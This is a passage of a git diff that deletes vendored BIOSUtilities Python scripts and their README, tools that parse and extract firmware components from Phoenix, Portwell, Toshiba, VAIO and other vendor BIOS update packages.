- - make_dirs(extract_path, delete=True) - - printer('Phoenix Tools Development Kit Packer', padding) - - base_off,pack_off = get_phoenix_tdk(input_buffer) - - # Parse TDK Header structure - tdk_hdr = get_struct(input_buffer, pack_off, PhoenixTdkHeader) - - # Print TDK Header structure info - printer('Phoenix TDK Header:\n', padding + 4) - tdk_hdr.struct_print(padding + 8) - - # Check if reported TDK Header Size matches manual TDK Entry Count calculation - if tdk_hdr.Size != TDK_HDR_LEN + TDK_DUMMY_LEN + tdk_hdr.Count * TDK_MOD_LEN: - printer('Error: Phoenix TDK Header Size & Entry Count mismatch!\n', padding + 8, pause=True) - exit_code = 1 - - # Store TDK Entries offset after the placeholder data - entries_off = pack_off + TDK_HDR_LEN + TDK_DUMMY_LEN - - # Parse and extract each TDK Header Entry - for entry_index in range(tdk_hdr.Count): - # Parse TDK Entry structure - tdk_mod = get_struct(input_buffer, entries_off + entry_index * TDK_MOD_LEN, PhoenixTdkEntry, [base_off]) - - # Print TDK Entry structure info - printer(f'Phoenix TDK Entry ({entry_index + 1}/{tdk_hdr.Count}):\n', padding + 8) - tdk_mod.struct_print(padding + 12) - - # Get TDK Entry raw data Offset (TDK Base + Entry Offset) - mod_off = tdk_mod.get_offset() - - # Check if TDK Entry raw data Offset is valid - if mod_off >= len(input_buffer): - printer('Error: Phoenix TDK Entry > Offset is out of bounds!\n', padding + 12, pause=True) - exit_code = 2 - - # Store TDK Entry raw data (relative to TDK Base, not TDK Header) - mod_data = input_buffer[mod_off:mod_off + tdk_mod.Size] - - # Check if TDK Entry raw data is complete - if len(mod_data) != tdk_mod.Size: - printer('Error: Phoenix TDK Entry > Data is truncated!\n', padding + 12, pause=True) - exit_code = 3 - - # Check if TDK Entry Reserved is present - if tdk_mod.Reserved: - printer('Error: Phoenix TDK Entry > Reserved is not empty!\n', padding + 12, pause=True) - exit_code = 4 - - # Decompress TDK Entry raw data, when applicable (i.e. LZMA) - if tdk_mod.get_compression() == 'LZMA': - try: - mod_data = lzma.LZMADecompressor().decompress(mod_data) - except Exception: - printer('Error: Phoenix TDK Entry > LZMA decompression failed!\n', padding + 12, pause=True) - exit_code = 5 - - # Generate TDK Entry file name, avoid crash if Entry data is bad - mod_name = tdk_mod.get_name() or f'Unknown_{entry_index + 1:02d}.bin' - - # Generate TDK Entry file data output path - mod_file = os.path.join(extract_path, safe_name(mod_name)) - - # Account for potential duplicate file names - if os.path.isfile(mod_file): mod_file += f'_{entry_index + 1:02d}' - - # Save TDK Entry data to output file - with open(mod_file, 'wb') as out_file: - out_file.write(mod_data) - - return exit_code - -# Get ctypes Structure Sizes -TDK_HDR_LEN = ctypes.sizeof(PhoenixTdkHeader) -TDK_MOD_LEN = ctypes.sizeof(PhoenixTdkEntry) - -# Set placeholder TDK Entries Size -TDK_DUMMY_LEN = 0x200 - -if __name__ == '__main__': - BIOSUtility(TITLE, is_phoenix_tdk, phoenix_tdk_extract).run_utility() diff --git a/blobs/t480/biosutilities/Portwell_EFI_Extract.py b/blobs/t480/biosutilities/Portwell_EFI_Extract.py deleted file mode 100644 index bb40705a9..000000000 --- a/blobs/t480/biosutilities/Portwell_EFI_Extract.py +++ /dev/null @@ -1,136 +0,0 @@ -#!/usr/bin/env python3 -#coding=utf-8 - -""" -Portwell EFI Extract -Portwell EFI Update Extractor -Copyright (C) 2021-2022 Plato Mavropoulos -""" - -TITLE = 'Portwell EFI Update Extractor v2.0_a12' - -import os -import sys - -# Stop __pycache__ generation -sys.dont_write_bytecode = True - -from common.comp_efi import efi_decompress, is_efi_compressed -from common.path_ops import make_dirs, safe_name -from common.pe_ops import get_pe_file -from common.patterns import PAT_MICROSOFT_MZ, PAT_PORTWELL_EFI -from common.system import printer -from common.templates import BIOSUtility -from common.text_ops import file_to_bytes - -FILE_NAMES = { - 0 : 'Flash.efi', - 1 : 'Fparts.txt', - 2 : 'Update.nsh', - 3 : 'Temp.bin', - 4 : 'SaveDmiData.efi' - } - -# Check if input is Portwell EFI executable -def is_portwell_efi(in_file): - in_buffer = file_to_bytes(in_file) - - try: - pe_buffer = get_portwell_pe(in_buffer)[1] - except Exception: - pe_buffer = b'' - - is_mz = PAT_MICROSOFT_MZ.search(in_buffer[:0x2]) # EFI images start with PE Header MZ - - is_uu = PAT_PORTWELL_EFI.search(pe_buffer[:0x4]) # Portwell EFI files start with - - return bool(is_mz and is_uu) - -# Get PE of Portwell EFI executable -def get_portwell_pe(in_buffer): - pe_file = get_pe_file(in_buffer, fast=True) # Analyze EFI Portable Executable (PE) - - pe_data = in_buffer[pe_file.OPTIONAL_HEADER.SizeOfImage:] # Skip EFI executable (pylint: disable=E1101) - - return pe_file, pe_data - -# Parse & Extract Portwell UEFI Unpacker -def portwell_efi_extract(input_file, extract_path, padding=0): - efi_files = [] # Initialize EFI Payload file chunks - - input_buffer = file_to_bytes(input_file) - - make_dirs(extract_path, delete=True) - - pe_file,pe_data = get_portwell_pe(input_buffer) - - efi_title = get_unpacker_tag(input_buffer, pe_file) - - printer(efi_title, padding) - - # Split EFI Payload into file chunks - efi_list = list(PAT_PORTWELL_EFI.finditer(pe_data)) - for idx,val in enumerate(efi_list): - efi_bgn = val.end() - efi_end = len(pe_data) if idx == len(efi_list) - 1 else efi_list[idx + 1].start() - efi_files.append(pe_data[efi_bgn:efi_end]) - - parse_efi_files(extract_path, efi_files, padding) - -# Get Portwell UEFI Unpacker tag -def get_unpacker_tag(input_buffer, pe_file): - unpacker_tag_txt = 'UEFI Unpacker' - - for pe_section in pe_file.sections: - # Unpacker Tag, Version, Strings etc are found in .data PE section - if pe_section.Name.startswith(b'.data'): - pe_data_bgn = pe_section.PointerToRawData - pe_data_end = pe_data_bgn + pe_section.SizeOfRawData - - # Decode any valid UTF-16 .data PE section info to a parsable text buffer - pe_data_txt = input_buffer[pe_data_bgn:pe_data_end].decode('utf-16','ignore') - - # Search .data for UEFI Unpacker tag - unpacker_tag_bgn = pe_data_txt.find(unpacker_tag_txt) - if unpacker_tag_bgn != -1: - unpacker_tag_len = pe_data_txt[unpacker_tag_bgn:].find('=') - if unpacker_tag_len != -1: - unpacker_tag_end = unpacker_tag_bgn + unpacker_tag_len - unpacker_tag_raw = pe_data_txt[unpacker_tag_bgn:unpacker_tag_end] - - # Found full UEFI Unpacker tag, store and slightly beautify the resulting text - unpacker_tag_txt = unpacker_tag_raw.strip().replace(' ',' ').replace('<',' <') - - break # Found PE .data section, skip the rest - - return unpacker_tag_txt - -# Process Portwell UEFI Unpacker payload files -def parse_efi_files(extract_path, efi_files, padding): - for file_index,file_data in enumerate(efi_files): - if file_data in (b'', b'NULL'): - continue # Skip empty/unused files - - file_name = FILE_NAMES.get(file_index, f'Unknown_{file_index}.bin') # Assign Name to EFI file - - printer(f'[{file_index}] {file_name}', padding + 4) # Print EFI file name, indicate progress - - if file_name.startswith('Unknown_'): - printer(f'Note: Detected new Portwell EFI file ID {file_index}!', padding + 8, pause=True) # Report new EFI files - - file_path = os.path.join(extract_path, safe_name(file_name)) # Store EFI file output path - - with open(file_path, 'wb') as out_file: - out_file.write(file_data) # Store EFI file data to drive - - # Attempt to detect EFI compression & decompress when applicable - if is_efi_compressed(file_data): - comp_fname = file_path + '.temp' # Store temporary compressed file name - - os.replace(file_path, comp_fname) # Rename initial/compressed file - - if efi_decompress(comp_fname, file_path, padding + 8) == 0: - os.remove(comp_fname) # Successful decompression, delete compressed file - -if __name__ == '__main__': - BIOSUtility(TITLE, is_portwell_efi, portwell_efi_extract).run_utility() diff --git a/blobs/t480/biosutilities/README.md b/blobs/t480/biosutilities/README.md deleted file mode 100644 index 0d8c29c92..000000000 --- a/blobs/t480/biosutilities/README.md +++ /dev/null @@ -1,552 +0,0 @@ -# BIOSUtilities [Refactor - WIP] -**Various BIOS Utilities for Modding/Research** - -[BIOS Utilities News Feed](https://twitter.com/platomaniac) - -* [**AMI BIOS Guard Extractor**](#ami-bios-guard-extractor) -* [**AMI UCP Update Extractor**](#ami-ucp-update-extractor) -* [**Apple EFI IM4P Splitter**](#apple-efi-im4p-splitter) -* [**Apple EFI Image Identifier**](#apple-efi-image-identifier) -* [**Apple EFI Package Extractor**](#apple-efi-package-extractor) -* [**Apple EFI PBZX Extractor**](#apple-efi-pbzx-extractor) -* [**Award BIOS Module Extractor**](#award-bios-module-extractor) -* [**Dell PFS Update Extractor**](#dell-pfs-update-extractor) -* [**Fujitsu SFX BIOS Extractor**](#fujitsu-sfx-bios-extractor) -* [**Fujitsu UPC BIOS Extractor**](#fujitsu-upc-bios-extractor) -* [**Insyde iFlash/iFdPacker Extractor**](#insyde-iflashifdpacker-extractor) -* [**Panasonic BIOS Package Extractor**](#panasonic-bios-package-extractor) -* [**Phoenix TDK Packer Extractor**](#phoenix-tdk-packer-extractor) -* [**Portwell EFI Update Extractor**](#portwell-efi-update-extractor) -* [**Toshiba BIOS COM Extractor**](#toshiba-bios-com-extractor) -* [**VAIO Packaging Manager Extractor**](#vaio-packaging-manager-extractor) - -## **AMI BIOS Guard Extractor** - -![]() - -#### **Description** - -Parses AMI BIOS Guard (a.k.a. PFAT, Platform Firmware Armoring Technology) images, extracts their SPI/BIOS/UEFI firmware components and decompiles the Intel BIOS Guard Scripts. It supports all AMI PFAT revisions and formats, including those with Index Information tables or nested AMI PFAT structures. The output comprises only final firmware components which are directly usable by end users. - -Note that the AMI PFAT structure may not have an explicit component order. AMI's BIOS Guard Firmware Update Tool (AFUBGT) updates components based on the user/OEM provided Parameters and Options or Index Information table, when applicable. That means that merging all the components together does not usually yield a proper SPI/BIOS/UEFI image. The utility does generate such a merged file with the name "00 -- \\_ALL.bin" but it is up to the end user to determine its usefulness. Moreover, any custom OEM data after the AMI PFAT structure are additionally stored in the last file with the name "\ -- \_OOB.bin" and it is once again up to the end user to determine its usefulness. In cases where the trailing custom OEM data include a nested AMI PFAT structure, the utility will process and extract it automatically as well. - -#### **Usage** - -You can either Drag & Drop or manually enter AMI BIOS Guard (PFAT) image file(s). Optional arguments: - -* -h or --help : show help message and exit -* -v or --version : show utility name and version -* -i or --input-dir : extract from given input directory -* -o or --output-dir : extract in given output directory -* -e or --auto-exit : skip all user action prompts - -#### **Compatibility** - -Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. - -#### **Prerequisites** - -Optionally, to decompile the AMI PFAT \> Intel BIOS Guard Scripts, you must have the following 3rd party utility at the "external" project directory: - -* [BIOS Guard Script Tool](https://github.com/platomav/BGScriptTool) (i.e. big_script_tool.py) - -#### **Pictures** - -![]() - -## **AMI UCP Update Extractor** - -![]() - -#### **Description** - -Parses AMI UCP (Utility Configuration Program) Update executables, extracts their firmware components (e.g. SPI/BIOS/UEFI, EC, ME etc) and shows all relevant info. It supports all AMI UCP revisions and formats, including those with nested AMI PFAT, AMI UCP or Insyde iFlash/iFdPacker structures. The output comprises only final firmware components and utilities which are directly usable by end users. - -#### **Usage** - -You can either Drag & Drop or manually enter AMI UCP Update executable file(s). Optional arguments: - -* -h or --help : show help message and exit -* -v or --version : show utility name and version -* -i or --input-dir : extract from given input directory -* -o or --output-dir : extract in given output directory -* -e or --auto-exit : skip all user action prompts -* -c or --checksum : verify AMI UCP Checksums (slow) - -#### **Compatibility** - -Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. - -#### **Prerequisites** - -To run the utility, you must have the following 3rd party tools at the "external" project directory: - -* [TianoCompress](https://github.com/tianocore/edk2/tree/master/BaseTools/Source/C/TianoCompress/) (i.e. [TianoCompress.exe for Windows](https://github.com/tianocore/edk2-BaseTools-win32/) or TianoCompress for Linux) -* [7-Zip Console](https://www.7-zip.org/) (i.e. 7z.exe for Windows or 7zzs for Linux) - -Optionally, to decompile the AMI UCP \> AMI PFAT \> Intel BIOS Guard Scripts (when applicable), you must have the following 3rd party utility at the "external" project directory: - -* [BIOS Guard Script Tool](https://github.com/platomav/BGScriptTool) (i.e. big_script_tool.py) - -#### **Pictures** - -![]() - -## **Apple EFI IM4P Splitter** - -![]() - -#### **Description** - -Parses Apple IM4P multi-EFI files and splits all detected EFI firmware into separate Intel SPI/BIOS images. The output comprises only final firmware components and utilities which are directly usable by end users. - -#### **Usage** - -You can either Drag & Drop or manually enter Apple EFI IM4P file(s). Optional arguments: - -* -h or --help : show help message and exit -* -v or --version : show utility name and version -* -i or --input-dir : extract from given input directory -* -o or --output-dir : extract in given output directory -* -e or --auto-exit : skip all user action prompts - -#### **Compatibility** - -Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. - -#### **Prerequisites** - -To run the utility, you do not need any prerequisites. - -#### **Pictures** - -![]() - -## **Apple EFI Image Identifier** - -![]() - -#### **Description** - -Parses Apple EFI images and identifies them based on Intel's official $IBIOSI$ tag, which contains info such as Model, Version, Build, Date and Time. Optionally, the utility can rename the input Apple EFI image based on the retrieved $IBIOSI$ tag info, while also making sure to differentiate any EFI images with the same $IBIOSI$ tag (e.g. Production, Pre-Production) by appending a checksum of their data. - -#### **Usage** - -You can either Drag & Drop or manually enter Apple EFI image file(s). Optional arguments: - -* -h or --help : show help message and exit -* -v or --version : show utility name and version -* -i or --input-dir : extract from given input directory -* -o or --output-dir : extract in given output directory -* -e or --auto-exit : skip all user action prompts -* -r or --rename : rename EFI image based on its tag - -#### **Compatibility** - -Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. - -#### **Prerequisites** - -To run the utility, you must have the following 3rd party tools at the "external" project directory: - -* [UEFIFind](https://github.com/LongSoft/UEFITool/) (i.e. [UEFIFind.exe for Windows or UEFIFind for Linux](https://github.com/LongSoft/UEFITool/releases)) -* [UEFIExtract](https://github.com/LongSoft/UEFITool/) (i.e. [UEFIExtract.exe for Windows or UEFIExtract for Linux](https://github.com/LongSoft/UEFITool/releases)) - -#### **Pictures** - -![]() - -## **Apple EFI Package Extractor** - -![]() - -#### **Description** - -Parses Apple EFI PKG firmware packages (i.e. FirmwareUpdate.pkg, BridgeOSUpdateCustomer.pkg), extracts their EFI images, splits those in IM4P format and identifies/renames the final Intel SPI/BIOS images accordingly. The output comprises only final firmware components which are directly usable by end users. - -#### **Usage** - -You can either Drag & Drop or manually enter Apple EFI PKG package file(s). Optional arguments: - -* -h or --help : show help message and exit -* -v or --version : show utility name and version -* -i or --input-dir : extract from given input directory -* -o or --output-dir : extract in given output directory -* -e or --auto-exit : skip all user action prompts - -#### **Compatibility** - -Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. - -#### **Prerequisites** - -To run the utility, you must have the following 3rd party tools at the "external" project directory: - -* [7-Zip Console](https://www.7-zip.org/) (i.e. 7z.exe for Windows or 7zzs for Linux) - -#### **Pictures** - -![]() - -## **Apple EFI PBZX Extractor** - -![]() - -#### **Description** - -Parses Apple EFI PBZX images, re-assembles their CPIO payload and extracts its firmware components (e.g. IM4P, EFI, Utilities, Scripts etc). It supports CPIO re-assembly from both Raw and XZ compressed PBZX Chunks. The output comprises only final firmware components and utilities which are directly usable by end users. - -#### **Usage** - -You can either Drag & Drop or manually enter Apple EFI PBZX image file(s). Optional arguments: - -* -h or --help : show help message and exit -* -v or --version : show utility name and version -* -i or --input-dir : extract from given input directory -* -o or --output-dir : extract in given output directory -* -e or --auto-exit : skip all user action prompts - -#### **Compatibility** - -Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. - -#### **Prerequisites** - -To run the utility, you must have the following 3rd party tools at the "external" project directory: - -* [7-Zip Console](https://www.7-zip.org/) (i.e. 7z.exe for Windows or 7zzs for Linux) - -#### **Pictures** - -![]() - -## **Award BIOS Module Extractor** - -![]() - -#### **Description** - -Parses Award BIOS images and extracts their modules (e.g. RAID, MEMINIT, \_EN_CODE, awardext etc). It supports all Award BIOS image revisions and formats, including those which contain LZH compressed files. The output comprises only final firmware components which are directly usable by end users. - -#### **Usage** - -You can either Drag & Drop or manually enter Award BIOS image file(s). Optional arguments: - -* -h or --help : show help message and exit -* -v or --version : show utility name and version -* -i or --input-dir : extract from given input directory -* -o or --output-dir : extract in given output directory -* -e or --auto-exit : skip all user action prompts - -#### **Compatibility** - -Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. - -#### **Prerequisites** - -To run the utility, you must have the following 3rd party tool at the "external" project directory: - -* [7-Zip Console](https://www.7-zip.org/) (i.e. 7z.exe for Windows or 7zzs for Linux) - -#### **Pictures** - -![]() - -## **Dell PFS Update Extractor** - -![]() - -#### **Description** - -Parses Dell PFS Update images and extracts their Firmware (e.g. SPI, BIOS/UEFI, EC, ME etc) and Utilities (e.g. Flasher etc) component sections. It supports all Dell PFS revisions and formats, including those which are originally LZMA compressed in ThinOS packages (PKG), ZLIB compressed or Intel BIOS Guard (PFAT) protected. The output comprises only final firmware components which are directly usable by end users. - -#### **Usage** - -You can either Drag & Drop or manually enter Dell PFS Update images(s). Optional arguments: - -* -h or --help : show help message and exit -* -v or --version : show utility name and version -* -i or --input-dir : extract from given input directory -* -o or --output-dir : extract in given output directory -* -e or --auto-exit : skip all user action prompts -* -a or --advanced : extract signatures and metadata -* -s or --structure : show PFS structure information - -#### **Compatibility** - -Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. - -#### **Prerequisites** - -Optionally, to decompile the Intel BIOS Guard (PFAT) Scripts, you must have the following 3rd party utility at the "external" project directory: - -* [BIOS Guard Script Tool](https://github.com/platomav/BGScriptTool) (i.e. big_script_tool.py) - -#### **Pictures** - -![]() - -## **Fujitsu SFX BIOS Extractor** - -![]() - -#### **Description** - -Parses Fujitsu SFX BIOS images and extracts their obfuscated Microsoft CAB archived firmware (e.g. SPI, BIOS/UEFI, EC, ME etc) and utilities (e.g. WinPhlash, PHLASH.INI etc) components. The output comprises only final firmware components which are directly usable by end users. - -#### **Usage** - -You can either Drag & Drop or manually enter Fujitsu SFX BIOS image file(s). Optional arguments: - -* -h or --help : show help message and exit -* -v or --version : show utility name and version -* -i or --input-dir : extract from given input directory -* -o or --output-dir : extract in given output directory -* -e or --auto-exit : skip all user action prompts - -#### **Compatibility** - -Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. - -#### **Prerequisites** - -To run the utility, you must have the following 3rd party tool at the "external" project directory: - -* [7-Zip Console](https://www.7-zip.org/) (i.e. 7z.exe for Windows or 7zzs for Linux) - -#### **Pictures** - -![]() - -## **Fujitsu UPC BIOS Extractor** - -![]() - -#### **Description** - -Parses Fujitsu UPC BIOS images and extracts their EFI compressed SPI/BIOS/UEFI firmware component. The output comprises only a final firmware component which is directly usable by end users. - -#### **Usage** - -You can either Drag & Drop or manually enter Fujitsu UPC BIOS image file(s). Optional arguments: - -* -h or --help : show help message and exit -* -v or --version : show utility name and version -* -i or --input-dir : extract from given input directory -* -o or --output-dir : extract in given output directory -* -e or --auto-exit : skip all user action prompts - -#### **Compatibility** - -Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. - -#### **Prerequisites** - -To run the utility, you must have the following 3rd party tool at the "external" project directory: - -* [TianoCompress](https://github.com/tianocore/edk2/tree/master/BaseTools/Source/C/TianoCompress/) (i.e. [TianoCompress.exe for Windows](https://github.com/tianocore/edk2-BaseTools-win32/) or TianoCompress for Linux) - -#### **Pictures** - -![]() - -## **Insyde iFlash/iFdPacker Extractor** - -![]() - -#### **Description** - -Parses Insyde iFlash/iFdPacker Update images and extracts their firmware (e.g. SPI, BIOS/UEFI, EC, ME etc) and utilities (e.g. InsydeFlash, H2OFFT, FlsHook, iscflash, platform.ini etc) components. It supports all Insyde iFlash/iFdPacker revisions and formats, including those which are 7-Zip SFX 7z compressed in raw, obfuscated or password-protected form. The output comprises only final firmware components which are directly usable by end users. - -#### **Usage** - -You can either Drag & Drop or manually enter Insyde iFlash/iFdPacker Update image file(s). Optional arguments: - -* -h or --help : show help message and exit -* -v or --version : show utility name and version -* -i or --input-dir : extract from given input directory -* -o or --output-dir : extract in given output directory -* -e or --auto-exit : skip all user action prompts - -#### **Compatibility** - -Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. - -#### **Prerequisites** - -To run the utility, you do not need any prerequisites. - -#### **Pictures** - -![]() - -## **Panasonic BIOS Package Extractor** - -![]() - -#### **Description** - -Parses Panasonic BIOS Package executables and extracts their firmware (e.g. SPI, BIOS/UEFI, EC etc) and utilities (e.g. winprom, configuration etc) components. It supports all Panasonic BIOS Package revisions and formats, including those which contain LZNT1 compressed files. The output comprises only final firmware components which are directly usable by end users. - -#### **Usage** - -You can either Drag & Drop or manually enter Panasonic BIOS Package executable file(s). Optional arguments: - -* -h or --help : show help message and exit -* -v or --version : show utility name and version -* -i or --input-dir : extract from given input directory -* -o or --output-dir : extract in given output directory -* -e or --auto-exit : skip all user action prompts - -#### **Compatibility** - -Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. - -#### **Prerequisites** - -To run the utility, you must have the following 3rd party Python modules installed: - -* [pefile](https://pypi.org/project/pefile/) -* [lznt1](https://pypi.org/project/lznt1/) - -Moreover, you must have the following 3rd party tool at the "external" project directory: - -* [7-Zip Console](https://www.7-zip.org/) (i.e. 7z.exe for Windows or 7zzs for Linux) - -#### **Pictures** - -![]() - -## **Phoenix TDK Packer Extractor** - -![]() - -#### **Description** - -Parses Phoenix Tools Development Kit (TDK) Packer executables and extracts their firmware (e.g. SPI, BIOS/UEFI, EC etc) and utilities (e.g. WinFlash etc) components. It supports all Phoenix TDK Packer revisions and formats, including those which contain LZMA compressed files. The output comprises only final firmware components which are directly usable by end users. - -#### **Usage** - -You can either Drag & Drop or manually enter Phoenix Tools Development Kit (TDK) Packer executable file(s). Optional arguments: - -* -h or --help : show help message and exit -* -v or --version : show utility name and version -* -i or --input-dir : extract from given input directory -* -o or --output-dir : extract in given output directory -* -e or --auto-exit : skip all user action prompts - -#### **Compatibility** - -Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. - -#### **Prerequisites** - -To run the utility, you must have the following 3rd party Python module installed: - -* [pefile](https://pypi.org/project/pefile/) - -#### **Pictures** - -![]() - -## **Portwell EFI Update Extractor** - -![]() - -#### **Description** - -Parses Portwell UEFI Unpacker EFI executables (usually named "Update.efi") and extracts their firmware (e.g. SPI, BIOS/UEFI, EC etc) and utilities (e.g. Flasher etc) components. It supports all known Portwell UEFI Unpacker revisions (v1.1, v1.2, v2.0) and formats (used, empty, null), including those which contain EFI compressed files. The output comprises only final firmware components and utilities which are directly usable by end users. - -#### **Usage** - -You can either Drag & Drop or manually enter Portwell UEFI Unpacker EFI executable file(s). Optional arguments: - -* -h or --help : show help message and exit -* -v or --version : show utility name and version -* -i or --input-dir : extract from given input directory -* -o or --output-dir : extract in given output directory -* -e or --auto-exit : skip all user action prompts - -#### **Compatibility** - -Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. - -#### **Prerequisites** - -To run the utility, you must have the following 3rd party Python module installed: - -* [pefile](https://pypi.org/project/pefile/) - -> pip3 install pefile - -Moreover, you must have the following 3rd party tool at the "external" project directory: - -* [TianoCompress](https://github.com/tianocore/edk2/tree/master/BaseTools/Source/C/TianoCompress/) (i.e. [TianoCompress.exe for Windows](https://github.com/tianocore/edk2-BaseTools-win32/) or TianoCompress for Linux) - -#### **Pictures** - -![]() - -## **Toshiba BIOS COM Extractor** - -![]() - -#### **Description** - -Parses Toshiba BIOS COM images and extracts their raw or compressed SPI/BIOS/UEFI firmware component. This utility is basically an easy to use python wrapper around [ToshibaComExtractor by LongSoft](https://github.com/LongSoft/ToshibaComExtractor). The output comprises only a final firmware component which is directly usable by end users. - -#### **Usage** - -You can either Drag & Drop or manually enter Toshiba BIOS COM image file(s). Optional arguments: - -* -h or --help : show help message and exit -* -v or --version : show utility name and version -* -i or --input-dir : extract from given input directory -* -o or --output-dir : extract in given output directory -* -e or --auto-exit : skip all user action prompts - -#### **Compatibility** - -Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. - -#### **Prerequisites** - -To run the utility, you must have the following 3rd party tool at the "external" project directory: - -* [ToshibaComExtractor](https://github.com/LongSoft/ToshibaComExtractor) (i.e. [comextract.exe for Windows or comextract for Linux](https://github.com/LongSoft/ToshibaComExtractor/releases)) - -#### **Pictures** - -![]() - -## **VAIO Packaging Manager Extractor** - -![]() - -#### **Description** - -Parses VAIO Packaging Manager executables and extracts their firmware (e.g. SPI, BIOS/UEFI, EC, ME etc), utilities (e.g. WBFLASH etc) and driver (audio, video etc) components. If direct extraction fails, it attempts to unlock the executable in order to run at all non-VAIO systems and allow the user to choose the extraction location. It supports all VAIO Packaging Manager revisions and formats, including those which contain obfuscated Microsoft CAB archives or obfuscated unlock values. The output comprises only final firmware components which are directly usable by end users. - -#### **Usage** - -You can either Drag & Drop or manually enter VAIO Packaging Manager executable file(s). Optional arguments: - -* -h or --help : show help message and exit -* -v or --version : show utility name and version -* -i or --input-dir : extract from given input directory -* -o or --output-dir : extract in given output directory -* -e or --auto-exit : skip all user action prompts - -#### **Compatibility** - -Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. - -#### **Prerequisites** - -To run the utility, you must have the following 3rd party tool at the "external" project directory: - -* [7-Zip Console](https://www.7-zip.org/) (i.e. 7z.exe for Windows or 7zzs for Linux) - -#### **Pictures** - -![]() \ No newline at end of file diff --git a/blobs/t480/biosutilities/Toshiba_COM_Extract.py b/blobs/t480/biosutilities/Toshiba_COM_Extract.py deleted file mode 100644 index da6ee4370..000000000 --- a/blobs/t480/biosutilities/Toshiba_COM_Extract.py +++ /dev/null @@ -1,63 +0,0 @@ -#!/usr/bin/env python3 -#coding=utf-8 - -""" -Toshiba COM Extract -Toshiba BIOS COM Extractor -Copyright (C) 2018-2022 Plato Mavropoulos -""" - -TITLE = 'Toshiba BIOS COM Extractor v2.0_a4' - -import os -import sys -import subprocess - -# Stop __pycache__ generation -sys.dont_write_bytecode = True - -from common.externals import get_comextract_path -from common.path_ops import make_dirs, path_stem, path_suffixes -from common.patterns import PAT_TOSHIBA_COM -from common.system import printer -from common.templates import BIOSUtility -from common.text_ops import file_to_bytes - -# Check if input is Toshiba BIOS COM image -def is_toshiba_com(in_file): - buffer = file_to_bytes(in_file) - - is_ext = path_suffixes(in_file)[-1].upper() == '.COM' if os.path.isfile(in_file) else True - - is_com = PAT_TOSHIBA_COM.search(buffer) - - return is_ext and is_com - -# Parse & Extract Toshiba BIOS COM image -def toshiba_com_extract(input_file, extract_path, padding=0): - if not os.path.isfile(input_file): - printer('Error: Could not find input file path!', padding) - - return 1 - - make_dirs(extract_path, delete=True) - - output_name = path_stem(input_file) - output_file = os.path.join(extract_path, f'{output_name}.bin') - - try: - subprocess.run([get_comextract_path(), input_file, output_file], check=True, stdout=subprocess.DEVNULL) - - if not os.path.isfile(output_file): - raise Exception('EXTRACT_FILE_MISSING') - except Exception: - printer(f'Error: ToshibaComExtractor could not extract file {input_file}!', padding) - - return 2 - - printer(f'Succesfull {output_name} extraction via ToshibaComExtractor!', padding) - - return 0 - -if __name__ == '__main__': - BIOSUtility(TITLE, is_toshiba_com, toshiba_com_extract).run_utility() diff --git a/blobs/t480/biosutilities/VAIO_Package_Extract.py b/blobs/t480/biosutilities/VAIO_Package_Extract.py deleted file mode 100644 index 9bb49bfee..000000000 --- a/blobs/t480/biosutilities/VAIO_Package_Extract.py +++ /dev/null @@ -1,147 +0,0 @@ -#!/usr/bin/env python3 -#coding=utf-8 - -""" -VAIO Package Extractor -VAIO Packaging Manager Extractor -Copyright (C) 2019-2022 Plato Mavropoulos -""" - -TITLE = 'VAIO Packaging Manager Extractor v3.0_a8' - -import os -import sys - -# Stop __pycache__ generation -sys.dont_write_bytecode = True - -from common.comp_szip import is_szip_supported, szip_decompress -from common.path_ops import make_dirs -from common.patterns import PAT_VAIO_CAB, PAT_VAIO_CFG, PAT_VAIO_CHK, PAT_VAIO_EXT -from common.system import printer -from common.templates import BIOSUtility -from common.text_ops import file_to_bytes - -# Check if input is VAIO Packaging Manager -def is_vaio_pkg(in_file): - buffer = file_to_bytes(in_file) - - return bool(PAT_VAIO_CFG.search(buffer)) - -# Extract VAIO Packaging Manager executable -def vaio_cabinet(name, buffer, extract_path, padding=0): - match_cab = PAT_VAIO_CAB.search(buffer) # Microsoft CAB Header XOR 0xFF - - if not match_cab: - return 1 - - printer('Detected obfuscated CAB archive!', padding) - - # Determine the Microsoft CAB image size - cab_size = int.from_bytes(buffer[match_cab.start() + 0x8:match_cab.start() + 0xC], 'little') # Get LE XOR-ed CAB size - xor_size = int.from_bytes(b'\xFF' * 0x4, 'little') # Create CAB size XOR value - cab_size ^= xor_size # Perform XOR 0xFF and get actual CAB size - - printer('Removing obfuscation...', padding + 4) - - # Determine the Microsoft CAB image Data - cab_data = int.from_bytes(buffer[match_cab.start():match_cab.start() + cab_size], 'big') # Get BE XOR-ed CAB data - xor_data = int.from_bytes(b'\xFF' * cab_size, 'big') # Create CAB data XOR value - cab_data = (cab_data ^ xor_data).to_bytes(cab_size, 'big') # Perform XOR 0xFF and get actual CAB data - - printer('Extracting archive...', padding + 4) - - cab_path = os.path.join(extract_path, f'{name}_Temporary.cab') - - with open(cab_path, 'wb') as cab_file: - cab_file.write(cab_data) # Create temporary CAB archive - - if is_szip_supported(cab_path, padding + 8, check=True): - if szip_decompress(cab_path, extract_path, 'CAB', padding + 8, check=True) == 0: - os.remove(cab_path) # Successful extraction, delete temporary CAB archive - else: - return 3 - else: - return 2 - - return 0 - -# Unlock VAIO Packaging Manager executable -def vaio_unlock(name, buffer, extract_path, padding=0): - match_cfg = PAT_VAIO_CFG.search(buffer) - - if not match_cfg: - return 1 - - printer('Attempting to Unlock executable!', padding) - - # Initialize VAIO Package Configuration file variables (assume overkill size of 0x500) - cfg_bgn,cfg_end,cfg_false,cfg_true = [match_cfg.start(), match_cfg.start() + 0x500, b'', b''] - - # Get VAIO Package Configuration file info, split at new_line and stop at payload DOS header (EOF) - 